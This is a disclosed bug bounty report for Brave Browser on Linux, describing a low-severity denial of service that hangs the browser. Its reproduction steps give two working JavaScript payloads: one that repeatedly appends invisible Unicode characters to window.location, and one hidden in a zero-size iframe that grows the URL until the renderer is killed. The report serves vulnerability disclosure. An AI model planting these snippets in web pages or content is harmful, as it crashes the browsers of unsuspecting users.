Brave Software · Report #181558
[DOS] denial of service using code snippet on brave browser
Validstatus
lowseverity
6upvotes
6 May 2018disclosed
How it was found
Summary:
brave browser hangs due to no validation for a code snippet causing denial of service to users.
Products affected:
latest brave browser in linux
Steps To Reproduce:
code snippet:-
- <script>window.location+='?\u202a\uFEFF\u202b';</script>
OR
- <iframe style="width:0;height:0;border:0" src="data:text/html;charset=utf-8,<script>window.location+='?'+window.location.toString().split('');</script>">
Note :- both these issues have been fixed in google chrome and firefox gives some delay time to close tabs.
This is a variation of "a = a + a" that creates a very long URL. on my machine the renderer eventually is killed when the URL gets too large.
Supporting Material/References:
i have attached both html files you can open them up and see browser hang.